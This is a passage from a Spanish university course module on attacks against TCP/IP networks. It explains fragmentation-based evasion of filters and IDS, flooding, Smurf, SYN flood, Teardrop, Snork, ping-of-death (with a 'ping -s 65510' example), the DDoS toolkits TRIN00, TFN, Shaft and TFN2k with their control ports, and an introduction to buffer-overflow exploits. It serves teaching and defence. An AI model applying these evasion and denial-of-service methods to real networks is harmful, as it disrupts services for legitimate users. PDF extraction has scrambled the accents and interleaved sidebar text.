  • 32. © FUOC • P06/M2107/01769 32 Ataques contra redes TCP/IPDetr´ s de los 20 bytes de la cabecera IP encontramos en el fragmento el resto de bytes de alos datos ICMP originales. El identificador de fragmento es 21223, y no se establece el ´ ´indicador de m´ s fragmentos porque este es el ultimo. aEl valor de desplazamiento es 2960 (la suma de los dos fragmentos anteriores de 1480bytes). S´ lo hay 1048 bytes de datos, es decir, el resto de bytes del mensaje ICMP. Tanto oeste fragmento como el segundo no tiene cabecera ICMP ni, por lo tanto, tipo de mensajeICMP que nos indique que nos encontramos ante una petici´ n echo de ICMP. o1.4.2. Fragmentaci´ n para emmascaramiento de datagramas IP oComo ya hemos introducido al principio de esta secci´ n, la fragmentaci´ n IP puede plan- o otear una serie de problem´ ticas relacionadas con la seguridad de nuestra red. aAparte de los problemas de denegaci´ n que veremos con m´ s detenimiento en la siguiente o asecci´ n, una de las problem´ ticas m´ s destacadas es la utilizaci´ n de fragmentaci´ n IP o a a o omalintencionada para burlar las t´ cnicas b´ sicas de inspecci´ n de datagramas IP. e a oEn este caso, un atacante tratar´ de provocar intencionadamente una fragmentaci´ n en los a odatagramas que env´a a nuestra red con el objetivo de que pasen desapercibidos por dife- ırentes dispositivos de prevenci´ n y de detecci´ n de ataques que no tienen implementado o oel proceso de fragmentaci´ n y reensamblado de datagramas IP. o Dispositivos de prevenci´ n y o de detecci´ n. oEn el caso de los dispositivos de prevenci´ n m´ s b´ sicos (como, por ejemplo, encaminado- o a a ´ ´ Mirad los modulos didacticos ´ Mecanismos de prevencion yres con filtrado de paquetes), las decisiones para bloquear paquetes se basan generalmente Mecanismos de deteccion´en la informaci´ n de cabecera de los paquetes (como, por ejemplo, puertos TCP o UDP o ´ ´ para mas informacion.de destino, banderas de TCP, . . . ). Esto significa que los paquetes TCP y UDP fragmen-tados son susceptibles de burlar aquellos mecanismos de prevenci´ n que no implementen oel proceso de reensamblado para poder tener una visi´ n global del paquete que hay que obloquear.Por otro lado, en el caso de dispositivos de prevenci´ n m´ s avanzados (como, por ejem- o aplo, pasarelas a nivel de aplicaci´ n), as´ como en la mayor parte de los mecanismos de o ıdetecci´ n, las decisiones para detectar paquetes potencialmente peligrosos acostumbran a obasarse nuevamente en la inspecci´ n de la cabecera del datagrama IP, as´ como en la parte o ıde datos del paquete. Esto significa que la fragmentaci´ n se puede utilizar nuevamente opara burlar este proceso de detecci´ n y conseguir que estos paquetes entren o salgan de la ored de forma desapercibida.Con el objetivo de descubrir la MTU de la red e intentar as´ realizar fragmentaci´ n, el ı oatacante puede utilizar el indicador de no fragmentaci´ n del datagrama IP. Cuando el indi- ocador de no fragmentaci´ n est´ activado, como indica su nombre, no se realizar´ ninguna o a afragmentaci´ n en el datagrama. Por lo tanto, si un datagrama con este indicador cruza ouna red en la que se exija la fragmentaci´ n, el encaminador lo descubrir´ , descartar´ el o a adatagrama y devolver´ el mensaje de error al equipo emisor. Este mensaje de error ICMP a
  • 33. © FUOC • P06/M2107/01769 33 Ataques contra redes TCP/IPcontiene la MTU de la red que requiere la fragmentaci´ n. oDe esta forma, el atacante solo deber´ construir datagramas con diferentes longitudes, con ael indicador de fragmentaci´ n establecido, a la espera de recibir estos mensajes de error. o. Para solucionar el uso de la fragmentaci´ n fraudulenta y garantizar una correcta o inspecci´ n de paquetes, es necesaria la implementaci´ n del proceso de fragmenta- o o ci´ n y el reensamblado de datagramas en dispositivos de prevenci´ n y detecci´ n. o o o Esta soluci´ n puede suponer un coste adicional, ya que significa tener que exami- o nar y almacenar cada fragmento. Aunque puede resultar muy costoso en cuanto ´ a recursos (tiempo, proceso y memoria), ser´ la unica forma de asegurar que la a inspecci´ n del paquete se ha realizado de forma correcta. o
  • 34. © FUOC • P06/M2107/01769 34 Ataques contra redes TCP/IP1.5. Ataques de denegaci´ n de servicio o. Un ataque de denegaci´ n de servicio* es un incidente en el cual un usuario o una orga- onizaci´ n es privada de los servicios de un recurso que esperaba obtener. Normalmente, la o ´ * En ingles, Deny of Service Attack (DoS).p´ rdida de servicio se corresponde con la imposibilidad de obtener un determinado servi- ecio de red como, por ejemplo, el acceso a una p´ gina web. a. Definimos denegaci´ n de servicio como la imposibilidad de acceder a un recurso o o servicio por parte de un usuario leg´timo. Es decir, la apropiaci´ n exclusiva de ı o un recurso o servicio con la intenci´ n de evitar cualquier acceso a terceras partes. oDe forma m´ s restrictiva, se pueden definir los ataques de denegaci´ n de servicio en redes a oIP como la consecuci´ n total o parcial (temporal o total) del cese de la prestaci´ n de o oservicio de un equipo conectado a la red.Los ataques de denegaci´ n de servicio pueden ser provocados tanto por usuarios internos oen el sistema como por usuarios externos. Dentro del primer grupo podr´amos pensar en ıusuarios con pocos conocimientos que pueden colapsar el sistema o servicio inconscien-temente. Por ejemplo, usuarios que abusan de los recursos del sistema, ocupando muchoancho de banda en la b´ squeda de archivos de m´ sica o de pel´culas, usuarios malintencio- u u ınados que aprovechan su acceso al sistema para causar problemas de forma premeditada,etc.En el segundo grupo se encuentran aquellos usuarios que han conseguido un acceso alsistema de forma ileg´tima, falseando adem´ s la direcci´ n de origen con el prop´ sito de ı a o oevitar la detecci´ n del origen real del ataque (mediante ataques de suplantaci´ n). o oEl peligro de los ataques de denegaci´ n de servicio viene dado por su independencia de oplataforma. Como sabemos, el protocolo IP permite una comunicaci´ n homog´ nea (in- o edependiente del tipo de ordenador o fabricante) a trav´ s de espacios heterog´ neos (redes e eEthernet, ATM, . . . ). De esta forma, un ataque exitoso contra el protocolo IP se convierteinmediatamente en una amenaza real para todos los equipos conectados a la red, indepen-dientemente de la plataforma que utilicen.A continuaci´ n realizaremos una exposici´ n sobre algunos de los ataques de denegaci´ n o o ode servicio m´ s representativos. a
  • 35. © FUOC • P06/M2107/01769 35 Ataques contra redes TCP/IP1.5.1. IP Flooding. El ataque de IP Flooding se basa en una inundaci´ n masiva de la red mediante o datagramas IP.Este ataque se realiza habitualmente en redes locales o en conexiones con un gran anchode banda. Consiste en la generaci´ n de tr´ fico basura con el objetivo de conseguir la degra- o adaci´ n del servicio. De esta forma, se resume el ancho de banda disponible, ralentizando olas comunicaciones existentes de toda la red.Podemos pensar en la utilizaci´ n de este ataque principalmente en redes locales cuyo con- otrol de acceso al medio es nulo y cualquier m´ quina puede ponerse a enviar y recibir pa- aquetes sin que se establezca ning´ n tipo de limitaci´ n en el ancho de banda que consume. u o Ataque IP Flooding AtacanteEl tr´ fico generado en este tipo de ataque puede ser: a• Aleatorio. Cuando la direcci´ n de origen o destino del paquete IP es ficticia o falsa. o Este tipo de ataque es el m´ s b´ sico y simplemente busca degradar el servicio de co- a a municaci´ n del segmento de red al que est´ conectado el ordenador responsable del o a ataque.• Definido o dirigido. Cuando la direcci´ n de origen, destino, o incluso ambas, es la de o la m´ quina que recibe el ataque. El objetivo de este ataque es doble, ya que adem´ s a a de dejar fuera de servicio la red donde el atacante genera los datagramas IP, tambi´ n e tratar´ de colapsar al equipo de destino, sea reduciendo el ancho de banda disponible, a o bien saturando su servicio ante una gran cantidad de peticiones que el servidor ser´ a incapaz de procesar.
  • 36. © FUOC • P06/M2107/01769 36 Ataques contra redes TCP/IPLos datagramas IP utilizados podr´an corresponder a: ı• UDP. Con el objetivo de generar peticiones sin conexi´ n a ninguno de los puertos o disponibles. Seg´ n la implementaci´ n de la pila TCP/IP de las m´ quinas involucradas, u o a las peticiones masivas a puertos espec´ficos UDP pueden llegar a causar el colapso del ı sistema.• ICMP. Generando mensajes de error o de control de flujo.• TCP. Para generar peticiones de conexi´ n con el objetivo de saturar los recursos de red o de la m´ quina atacada. aUna variante del IP Flooding tradicional consiste en la utilizaci´ n de la direcci´ n de difu- o osi´ n de la red como direcci´ n de destino de los datagramas IP. De esta forma, el encami- o onador de la red se ver´ obligado a enviar el paquete a todos los ordenadores de la misma, aconsumiendo ancho de banda y degradando el rendimiento del servicio.Tambi´ n existen otras variantes en las que se env´an peticiones ICMP de tipo echo-request e ıa varios ordenadores suplantando la direcci´ n IP de origen, sustituida por la direcci´ n de o odifusi´ n (broadcast) de la red que se quiere atacar. De esta forma, todas las respuestas oindividuales se ven amplificadas y propagadas a todos los ordenadores conectados a la red.La siguiente figura representa este tipo de escenario: Ataque Broadcast IP Flooding pong (IP src=10.0.0.1) ping 10.0.0.1 pong (IP src=10.0.0.1) (IP src=10.0.0.255) pong (IP src=10.0.0.2) pong (IP src=10.0.0.2) ping 10.0.0.2 (IP src=10.0.0.255) 10.0.0.1 10.0.0.3 Atacante pong (IP src=10.0.0.1) pong (IP src=10.0.0.1) pong (IP src=10.0.0.2) pong (IP src=10.0.0.2) 10.0.0.2 10.0.0.254
  • 37. © FUOC • P06/M2107/01769 37 Ataques contra redes TCP/IP1.5.2. SmurfEste tipo de ataque de denegaci´ n de servicio es una variante del ataque anterior (IP Flo- ooding), pero realizando una suplantaci´ n de las direcciones de origen y destino de una opetici´ n ICMP del tipo echo-request: o Ataque Smurf ping from 10.0.0.254 ping from 10.0.0.254 ping 10.0.0.255 (IP src=10.0.0.254) 10.0.0.1 10.0.0.3 Atacant ping from 10.0.0.254 pong (IP src=10.0.0.1) ping from 10.0.0.254 pong (IP src=10.0.0.2) …. pong (IP src=10.0.0.254) 10.0.0.2 10.0.0.254Como direcci´ n de origen se pone la direcci´ n IP de la m´ quina que debe ser atacada. En o o ael campo de la direcci´ n IP de destino se pone la direcci´ n de difusi´ n de la red local o red o o oque se utilizar´ como trampol´n para colapsar a la v´ctima. a ı ıCon esta petici´ n fraudulenta, se consigue que todas las m´ quinas de la red respondan a la o avez a una misma m´ quina, consumiendo todo el ancho de banda disponible y saturando el aordenador atacado.1.5.3. TCP/SYN FloodingComo ya hemos visto anteriormente, algunos de los ataques y t´ cnicas de exploraci´ n que e ose utilizan en la actualidad se basan en no complementar intencionadamente el protoco-lo de intercambio del TCP. Esta debilidad del protocolo TCP proviene de las primerasimplementaciones de las pilas TCP.Cada vez que se procesa una conexi´ n, deben crearse datagramas IP para almacenar la oinformaci´ n necesaria para el funcionamiento del protocolo. Esto puede llegar a ocupar omucha memoria. Como la memoria del equipo es finita, es necesario imponer restriccionessobre el n´ mero de conexiones que un equipo podr´ aceptar antes de quedarse sin recursos. u a
  • 38. © FUOC • P06/M2107/01769 38 Ataques contra redes TCP/IP. El ataque de TCP/SYN Flooding se aprovecha del n´ mero de conexiones que est´ n u a esperando para establecer un servicio en particular para conseguir la denegaci´ n del o servicio.Cuando un atacante configura una inundaci´ n de paquetes SYN de TCP, no tiene ninguna ointenci´ n de complementar el protocolo de intercambio, ni de establecer la conexi´ n. Su o oobjetivo es exceder los l´mites establecidos para el n´ mero de conexiones que est´ n a la ı u aespera de establecerse para un servicio dado.Esto puede hacer que el sistema que es v´ctima del ataque sea incapaz de establecer cual- ıquier conexi´ n adicional para este servicio hasta que las conexiones que est´ n a la espera o ebajen el umbral.Hasta que se llegue a este l´mite, cada paquete SYN genera un SYN/ACK que permanecer´ ı aen la cola a la espera de establecerse. Es decir, cada conexi´ n tiene un temporizador (un ol´mite para el tiempo que el sistema espera, el establecimiento de la conexi´ n) que tiende ı oa configurarse en un minuto.Cuando se excede el l´mite de tiempo, se libera la memoria que mantiene el estado de ıesta conexi´ n y la cuenta de la cola de servicios disminuye en una unidad. Despu´ s de o ealcanzar el l´mite, puede mantenerse completa la cola de servicios, evitando que el sistema ıestablezca nuevas conexiones en este puerto con nuevos paquetes SYN. ´Dado que el unico prop´ sito de la t´ cnica es inundar la cola, no tiene ning´ n sentido o e uutilizar la direcci´ n IP real del atacante, ni tampoco devolver los SYN/ACK, puesto que o ı ´de esta forma facilitar´a que alguien pudiera llegar hasta el siguiendo la conexi´ n. Por lo otanto, normalmente se falsea la direcci´ n de origen del paquete, modificando para ello la ocabecera IP de los paquetes que intervendr´ n en el ataque de una inundaci´ n SYN. a o1.5.4. Teardrop Como hemos visto en este mismo m´ dulo*, el protocolo IP especifica unos campos en o Fragmentaci´ n IP ola cabecera encargados de se˜ alar si el datagrama IP est´ fragmentado (forma parte de un n a * Para tratar el siguientepaquete mayor) y la posici´ n que ocupa dentro del datagrama original. o ataque, haremos uso de la ´ teor´a sobre la fragmentacion ı IP que hemos visto en esteEn el campo de indicadores de TCP** encontramos el indicador de m´ s fragmentos que a ´ ´ mismo modulo didactico.indica si el paquete recibido es un fragmento de un datagrama mayor. Por otra parte, elcampo de identificaci´ n del datagrama especifica la posici´ n del fragmento en el datagrama o o ´ ** En ingles, TCP flags.original.
  • 39. © FUOC • P06/M2107/01769 39 Ataques contra redes TCP/IP. El ataque Teardrop intentar´ realizar una utilizaci´ n fraudulenta de la fragmenta- a o ci´ n IP para poder confundir al sistema operativo en la reconstrucci´ n del datagra- o o ma original y colapsar as´ el sistema. ıSupongamos que deseamos enviar un fichero de 1024 bytes a una red con un MTU (MaximTransfer Unit) de 512 bytes. Ser´ suficiente enviar dos fragmentos de 512 bytes: a Posición Longitud Fragmento 1 0 512 Fragmento 2 512 512 Fragmentación correctaEl objetivo de Teardrop ser´ realizar las modificaciones necesarias en los campos de po- asici´ n y longitud para introducir incoherencias cuando se produzca la reconstrucci´ n del o odatagrama original: Posición Longitud Fragmento 1 0 512 Fragmento 2 500 512 ………….. ………….. ………….. Fragmento N 10 100 Fragmentación incorrectaDe esta forma, Teardrop y sus variantes directas conseguir´ n que el datagrama se sobres- acriba y produzca un error de buffer-overrun al ser reensamblado. Error de buffer-overrun Se puede producir a causaOtra posibilidad consiste en enviar centenares de fragmentos modificados malintenciona- de la existencia de desplazamientos negativos.damente, con el objetivo de saturar la pila de protocolo IP del equipo atacado (a causa deuna superposici´ n de distintos datagramas IP). o
  • 40. © FUOC • P06/M2107/01769 40 Ataques contra redes TCP/IP1.5.5. Snork. El ataque Snork se basa en una utilizaci´ n malintencionada de dos servicios t´picos o ı en sistemas Unix: el servicio CHARGEN (CHARacter GENerator, generador de caracteres) y el servicio ECHO.El primer servicio se limita a responder con una secuencia aleatoria de caracteres a laspeticiones que recibe. El segundo servicio, ECHO, se utiliza como sistema de pruebaspara verificar el funcionamiento del protocolo IP.As´, esta denegaci´ n de servicio se basa en el env´o de un datagrama especial al ordenador ı o ıde destino, que una vez reconocido, enviar´ una respuesta al equipo de origen. a Atacante Víctima 10.0.0.1 Echo 10.0.0.3 10.0.0.3 (IP src= 10.0.0.3) Chargen/Echo (lazo infinito) Chargen/Echo (lazo infinito) Ataque Snork Echo 10.0.0.2 (IP src= 10.0.0.3) Trampolín 10.0.0.2. El ataque Snork consiste en el cruce de los servicios ECHO y CHARGEN, me- diante el env´o de una petici´ n falsa al servicio CHARGEN, habiendo colocado ı o previamente como direcci´ n de origen la direcci´ n IP de la m´ quina que hay que o o a atacar (con el puerto del servicio ECHO como puerto de respuesta). De esta forma, se inicia un juego de ping-pong infinito.
  • 41. © FUOC • P06/M2107/01769 41 Ataques contra redes TCP/IPEste ataque se puede realizar con distintos pares de equipos de la red obteniendo un con-sumo masivo de ancho de banda hasta degradar el rendimiento de la misma. Tambi´ n se epuede realizar contra una misma m´ quina (ella misma se env´a una petici´ n y su respuesta) a ı oconsiguiendo consumir los recursos (especialmente CPU y memoria) de este equipo.1.5.6. Ping of deathEl ataque de denegaci´ n de servicio ”ping de la muerte”(ping of death) es uno de los oataques m´ s conocidos y que m´ s art´culos de prensa ha generado. Al igual que otros a a ıataques de denegaci´ n existentes, utiliza una definici´ n de longitud m´ xima de datagrama o o aIP fraudulenta.. La longitud m´ xima de un datagrama IP es de 65535 bytes, incluyendo la cabecera a del paquete (20 bytes) y partiendo de la base de que no hay opciones especiales especificadas. Por otra parte, recordemos que el protocolo ICMP tiene una cabe- cera de 8 bytes. De esta forma, si queremos construir un mensaje ICMP tenemos disponibles 65535 - 20 - 8 = 65507 bytes.Debido a la posibilidad de fragmentaci´ n de IP, si es necesario enviar m´ s de 65535 bytes, o ael datagrama IP se fragmentar´ y se reensamblar´ en el destino con los mecanismos que a acomentados anteriormente.El ataque ping de la muerte se basa en la posibilidad de construir, mediante el comandoping, un datagrama IP superior a los 65535 bytes, fragmentado en N trozos, con el objetivode provocar incoherencias en el proceso de reensamblado.Si, por ejemplo, construimos un mensaje ICMP de tipo echo-request de 65510 by-tes mediante el comando ping -s 65510, los datos ICMP podr´ n ser enviados en un a´unico paquete fragmentado en N trozos (seg´ n la MTU de la red), pero pertenecientes al umismo datagrama IP. Si hacemos la suma de los distintos campos del datagrama, veremosque los 20 bytes de cabecera IP m´ s los 8 bytes de cabecera ICMP, junto con los datos aICMP (65510 bytes) ocupar´ n 65538 bytes. De esta forma, el ataque consigue provocar aun desbordamiento de 3 bytes. Este hecho provocar´ que al reconstruir el paquete original aen el destino, se producir´ n errores que, si existen deficiencias en la implementaci´ n de la a opila TCP/IP del sistema, podr´an causar la degradaci´ n total del sistema atacado. ı o
  • 42. © FUOC • P06/M2107/01769 42 Ataques contra redes TCP/IP1.5.7. Ataques distribuidos Un ataque de denegaci´ n de servicio distribuido* es aqu´ l en el que una multitud de o esistemas (que previamente han sido comprometidos) cooperan entre ellos para atacar a un ´ * En ingles, Distributed Denial of Service (DDoS).equipo objetivo, caus´ ndole una denegaci´ n de servicio. El flujo de mensajes de entrada a oque padece el equipo atacado le dejar´ sin recursos y ser´ incapaz de ofrecer sus servicios a aa usuarios leg´timos. ı. As´ pues, podemos definir los ataques de denegaci´ n de servicio distribuidos como ı o un ataque de denegaci´ n de servicio en el que existen m´ ltiples equipos sincroni- o u zados de forma distribuida que se unen para atacar un mismo objetivo.A continuaci´ n veremos algunos de los ataques de denegaci´ n de servicio distribuidos o om´ s representativos, prestando especial atenci´ n tanto a su evoluci´ n hist´ rica, como al a o o omodelo distribuido de las fuentes que realizan el ataque, su sincronizaci´ n y la forma en la oque realizan la denegaci´ n de servicio. oTRIN00TRIN00 es un conjunto de herramientas master-slave utilizadas para sincronizar distintosequipos que cooperar´ n, de forma distribuida, en la realizaci´ n de una denegaci´ n de ser- a o o ´vicio. Las primeras implementaciones de TRIN00 fueron implementadas unicamente parasistemas Sun Solaris (en los que se produjeron los primeros ataques conocidos). El primer paso para realizar un ataque con TRIN00 consiste en la instalaci´ n de las oherramientas en los equipos desde los que partir´ el ataque. Para ello, el atacante necesitar´ a a ** Mirad el cap´tulo ı ´ Deficiencias de programacionobtener privilegios de administrador en estos equipos (que habr´ conseguido mediante a ´ ´ para mas informacion sobret´ cnicas de sniffing, explotaci´ n de servicios**, . . . ). Estos sistemas deber´an ser equipos e o ı ´ explotacion de servicios.interconectados en grandes redes corporativas con un gran ancho de banda y en los que elorigen del ataque pudiera pasar desapercibido entre cientos o millares de sistemas dentrola misma red. El atacante tratar´ de realizar un ataque de intrusi´ n a un primer equipo a ode estas redes, desde donde continuar´ con la b´ squeda de nuevos equipos vulnerables y a uproceder´ a su infecci´ n de igual manera como se realiz´ con el primer equipo. a o o. Para realizar las intrusiones, el atacante llevar´ a cabo una b´ squeda de vulnera- a u bilidades en los equipos existentes en la red, generando una lista de equipos po- tencialmente d´ biles en los que tratar´ de introducirse y ejecutar las herramientas e a necesarias para provocar la escalada de privilegios.
  • 43. © FUOC • P06/M2107/01769 43 Ataques contra redes TCP/IPDesde el primer equipo infectado por TRIN00, el atacante tratar´ de distribuir las herrami- aentas a cada una de las dem´ s m´ quinas infectadas. Tambi´ n se encargar´ de la ejecuci´ n a a e a ode tareas peri´ dicas para tratar de esconder los rastros de la intrusi´ n que puedan delatar o ola entrada en el sistema y la detecci´ n del origen del ataque. oEn la siguiente figura podemos observar el diagrama de tres capas que conforma un ataque ´ejecutado mediante TRIN00. Vemos c´ mo a partir de un unico ordenador, el atacante opodr´ llegar a obtener toda una red de equipos a su disposici´ n para la realizaci´ n del a o oataque distribuido: Slave Master Slave Atacante Slave Master Slave Ataque TRIN00La comunicaci´ n entre las distintas capas se realiza mediante conexiones TCP (fiables) opara la parte atacante-master, y conexiones UDP (no fiables) para la parte master-slave yslave-master, en puertos espec´ficos de cada m´ quina. ı a. La comunicaci´ n siempre se inicia con la transmisi´ n de una contrase˜ a. Esto o o n permite que ni el administrador del equipo ni el de otros atacantes puedan acceder al control de la red de ataques de TRIN00.Los demonios de TRIN00 situados en los equipos master y slave permiten la ejecuci´ n ode comandos para iniciar, controlar y detener ataques de denegaci´ n tradicionales como oICMP Flooding, SYN Flooding, UDP Flooding, Smurf, etc. Para acceder a estos coman-dos, el atacante realizar´ una conexi´ n Telnet en el puerto especificado en el siguiente a oesquema:
  • 44. © FUOC • P06/M2107/01769 44 Ataques contra redes TCP/IP Atacante Master Slave Atacante 27665/TCP Master 27444/UDP Slave 31335/UDP Esquema de comunicaciones de TRIN00Tribe Flood NetworkTribe Flood Network (TFN) es otra de las herramientas existentes para realizar ataques dedenegaci´ n de servicio distribuidos que utiliza un esquema master-slave para coordinar oataques de denegaci´ n tradicionales (ICMP Flooding, SYN Flooding, UDP Flooding y oSmurf ). Al igual que TRIN00, permite dejar abierta una consola de administraci´ n a la om´ quina de origen (escuchando por un puerto TCP determinado) ofreciendo un acceso ailimitado a los equipos infectados.. La arquitectura de funcionamiento del TFN es muy parecida a la de TRIN00. Una de las pocas diferencias la encontramos en la parte de clientes (respecto a los Mas- ters del esquema de TRIN00) y la parte de demonios (respeto a los Slaves de TRIN00). De forma an´ loga, un atacante controla a uno o m´ s clientes quem a a a su vez, controlan a uno o m´ s demonios. aEl control de la red TFN se consigue mediante la ejecuci´ n directa de comandos utilizando oconexiones cliente-servidor basadas en paquetes ICMP de tipo echo-reply.. La comunicaci´ n para el env´o de comandos se realiza mediante un n´ mero binario o ı u de 16 bits en el campo de identificaci´ n de mensajes ICMP de tipo echo. El o ´ numero de secuencia es una constante 0x0000 para enmascarar el mensaje ICMP como si fuera a una petici´ n echo-request y pasar as´ desapercibido en el caso o ı de existir en la red mecanismos de detecci´ n de ataques. oEste cambio en la comunicaci´ n, respecto a TRIN00, se debe a que muchos sistemas de omonitorizaci´ n para la protecci´ n de redes (dispositivos cortafuegos, sistemas de detecci´ n o o ode intrusos, . . . ) pueden filtrar tr´ fico TCP y UDP que va hacia puertos determinados. a
  • 45. © FUOC • P06/M2107/01769 45 Ataques contra redes TCP/IPNo obstante, la mayor´a de sistemas dejan pasar mensajes ICMP de tipo echo utilizados ıpara utilizar el comando ping y realizar as´ verificaciones de los equipos activos en la red. ıAdem´ s, pocas herramientas de red muestran adecuadamente los mensajes ICMP, lo cual apermite un camuflaje perfecto entre el tr´ fico normal de la red. aOtra diferencia respeto a TRIN00 es que los clientes de TFN no est´ n protegidos por con- atrase˜ as de acceso, con lo cual puede ser ejecutado sin restricciones por otros usuarios una nvez instalado.ShaftOtro conjunto de herramientas derivado de los dos anteriores (TRIN00 y TFN) es Shaft.La jerarqu´a utilizada por Shaft es similar a las dem´ s herramientas analizadas. Una vez ı am´ s, se basa en varios masters (denominados ahora Shaftmasters) que gobiernan a su vez adiversos slaves (Shaftnodes).Al igual que en los otros esquemas, el atacante se conecta mediante un programa cliente alos Shaftmasters desde donde inicia, controla y finaliza los ataques distribuidos.Shaft utiliza mensajes UDP para transmitir informaci´ n entre los Shaftmasters y los Shaft- onodes. Por otra parte, el atacante se conecta v´a Telnet a un Shaftmaster utilizando una ıconexi´ n fiable mediante TCP. Una vez conectado, utilizar´ una contrase˜ a para autorizar o a nsu acceso. Atacante ShaftMaster ShaftNode Atacante 20432/TCP ShaftMaster 18753/UDP ShaftNode 20433/UDP Esquema de comunicaciones de Shaft. La comunicaci´ n entre Shaftmasters y Shaftnodes se realiza mediante UDP (que o no es fiable). Por este motivo, Shaft utiliza tickets para poder mantener ordenada la comunicaci´ n y asignar a cada paquete una orden de secuencia. oLa combinaci´ n de contrase˜ as y tickets es utilizada por los Shaftmasters para transmitir o n ´las ordenes hacia a los Shaftnodes, que a su vez verificar´ n que sean correctas. a
  • 46. © FUOC • P06/M2107/01769 46 Ataques contra redes TCP/IPTribe Flood Network 2000 ´Analizaremos por ultimo una revisi´ n de la herramienta TFN. La arquitectura b´ sica en la o aque existe un atacante que utiliza clientes para gobernar los distintos demonios instaladosen las m´ quinas infectadas se mantiene, de forma que el control de este tipo de ataques amantiene la premisa de tener el m´ ximo n´ mero de ordenadores segmentados. De esta a uforma, si un cliente es neutralizado, el resto de la red contin´ a bajo control. uAun as´, Tribe Flood Network 2000 (TFN2k) a˜ ade una serie de caracter´sticas adicionales, ı n ıde entre las que destacamos las siguientes:• La comunicaci´ n master-slave se realizan ahora mediante protocolos TCP, UDP, ICMP o o los tres a la vez de forma aleatoria.• Los ataques contin´ an siendo los mismos (ICMP Flooding, UDP Flooding, SYN Flo- u oding y Smurf ). Aun as´, el demonio se puede programar para que alterne entre estos ı cuatro tipos de ataque, para dificultar la detecci´ n por parte de sistemas de monitoriza- o ci´ n en la red. o• Las cabeceras de los paquetes de comunicaci´ n master-slave son ahora aleatorias, ex- o cepto en el caso de ICMP (donde siempre se utilizan mensajes de tipo echo-reply). De esta forma se evitar´a una detecci´ n mediante patrones de comportamiento. ı o• Todos los comandos van cifrados. La clave se define en tiempo de compilaci´ n y se o utiliza como contrase˜ a para acceder al cliente. n• Cada demonio genera un proceso hijo por ataque, tratando de diferenciarse entre s´ ı a trav´ s de los argumentos y par´ metros que se pasan en el momento de ejecuci´ n. e a o Adem´ s, se altera su nombre de proceso para hacerlo pasar por un proceso m´ s del a a sistema.
  • 47. © FUOC • P06/M2107/01769 47 Ataques contra redes TCP/IP1.6. Deficiencias de programaci´ n o. ´En este ultimo apartado analizaremos dos de los errores de programaci´ n m´ s graves que o a Calidad del software ´podemos encontrar en aplicaciones de red como ejemplo del ultimo tipo de deficiencias Los sistemas operativos y, enasociadas al modelo de comunicaciones TCP/IP. En realidad, este tipo de deficiencias se general, las aplicaciones de ´ codigo abierto suelen serdeber´an considerar como vulnerabilidades de seguridad a nivel de sistema m´ s que como ı a estudiadas mas´deficiencias de seguridad de la arquitectura de red TCP/IP. Aun as´, se han incluido en este ı profundamente y por un colectivo de programadores ym´ dulo did´ ctico puesto que son vulnerabilidades asociadas a los servicios proporcionados o a usuarios muy grande. Porsobre TCP/IP y porque, en el caso de estar presentes en los servicios que ofrece la red, este hecho, las vulnerabilidades existentes aincrementar´ n el riesgo de vulnerar la seguridad de la misma. a causa de errores en la ´ programacion suelen estar ´ mas controladas.La mayor parte de estas deficiencias de programaci´ n pueden suponer un agujero en la oseguridad de la red debido a situaciones no previstas como, por ejemplo:• Entradas no controladas por el autor de la aplicaci´ n, que pueden provocar acciones o malintencionadas y ejecuci´ n de c´ digo malicioso. o o El gusano ... ... de Robert Morris fue• Uso de caracteres especiales que permiten un acceso no autorizado al servidor del capaz de colapsar gran parte de los sistemas existentes en servicio. internet en aquel momento, provocando gran conmocion ´ respeto a la seguridad a las• Entradas inesperadamente largas que provocan desbordamientos dentro de la pila de redes TCP/IP. ejecuci´ n y que pueden implicar una alteraci´ n en el c´ digo que hay que ejecutar. o o o Sendmail ´ la aplicacion sendmail esUn ejemplo de ataque que se aprovechaba de estas deficiencias de programaci´ n fue el fa- o uno de los servidores de ´ correo electronico (protocolomoso gusano de Robert Morris, Jr. Este ataque contra internet se produjo el 2 de noviembre ´ SMTP) mas conocidos y hade 1988, cuando este estudiante gener´ un gusano que se aprovechaba de dos errores de o ´ representado una autentica pesadilla de seguridad desdeprogramaci´ n en dos aplicaciones de servicio de internet: la primera deficiencia estaba o que aparecieron los primeros problemas de seguridad enasociada al modo de depuraci´ n del demonio sendmail y la segunda se relacionaba con o 1988. Precisamente por serel demonio fingerd (relativa a su implementaci´ n para identificar peticiones finger). o el servidor de correo ´ ´ electronico mas popular y por tratarse de un programa queEl objetivo final de los ataques que explotan deficiencias de programaci´ n es la posibilidad o viola el principio del privilegio m´nimo (dado que se ejecuta ıde ejecutar un c´ digo arbitrario en el sistema operativo sobre el que se est´ ejecutando la o a con privilegios deaplicaci´ n vulnerable. Generalmente, este c´ digo arbitrario consistir´ en la ejecuci´ n de un o o a o administrador), durante anos ˜ fue el blanco de numerososc´ digo en ensamblador (m´ s conocido como shellcode) que permite la posterior ejecuci´ n o a o ataques.de comandos de sistema con privilegios del usuario administrador, es decir, con todos lospermisos posibles.
  • 48. © FUOC • P06/M2107/01769 48 Ataques contra redes TCP/IP Los ataques que permiten explotar este tipo de deficiencias se presentan generalmente en Descargar exploits de internetforma de binarios (programas ejecutables) ya compilados para el sistema operativo en el ´ La idea de visitar paginasque se est´ ejecutando la aplicaci´ n vulnerable (conocidos con el nombre de exploits). a o web de internet con el objetivo de encontrar exploits ya creados y ponerse a. probar sus efectos no es nada recomendable. Aunque ´ conseguir el codigo fuente de Un exploit es un programa, generalmente escrito en C o ensamblador, que fuerza estos exploits es generalmente posible, es las condiciones necesarias para aprovecharse de un error de seguridad subyacente. muy probable que a causa del desconocimiento del tema por parte del usuario no le permita percibir que este exploit puede ser en realidadExisten infinidad de exploits para servidores de aplicaciones de internet (servidores de un ataque contra su propiaimap, pop3, smtp, ftp, httpd, . . . ) y generalmente se pueden encontrar disponibles en ´ maquina.internet ya compilados o en forma de c´ digo fuente. oAnalizaremos a continuaci´ n, como ejemplo de dos de las deficiencias de programaci´ n o om´ s representativas, los ataques de explotaci´ n a trav´ s de desbordamientos de buffer y a o emediante cadenas de formato.1.6.1. Desbordamiento de buffer Un ataque de desbordamiento de buffer se basa en la posibilidad de escribir informaci´ n o Lectura recomendadam´ s all´ de los limites de una tupla almacenada en la pila de ejecuci´ n. A partir de esta a a o Una de las mejores lecturastupla, asociada a una llamada a funci´ n dentro del programa, se puede conseguir corromper o para entender el correcto funcionamiento de losel flujo de la ejecuci´ n modificando el valor de regreso de la llamada a la funci´ n. Si este o o ataques de explotacion´cambio en el flujo de ejecuci´ n es posible, se podr´ llevar la ejecuci´ n a una direcci´ 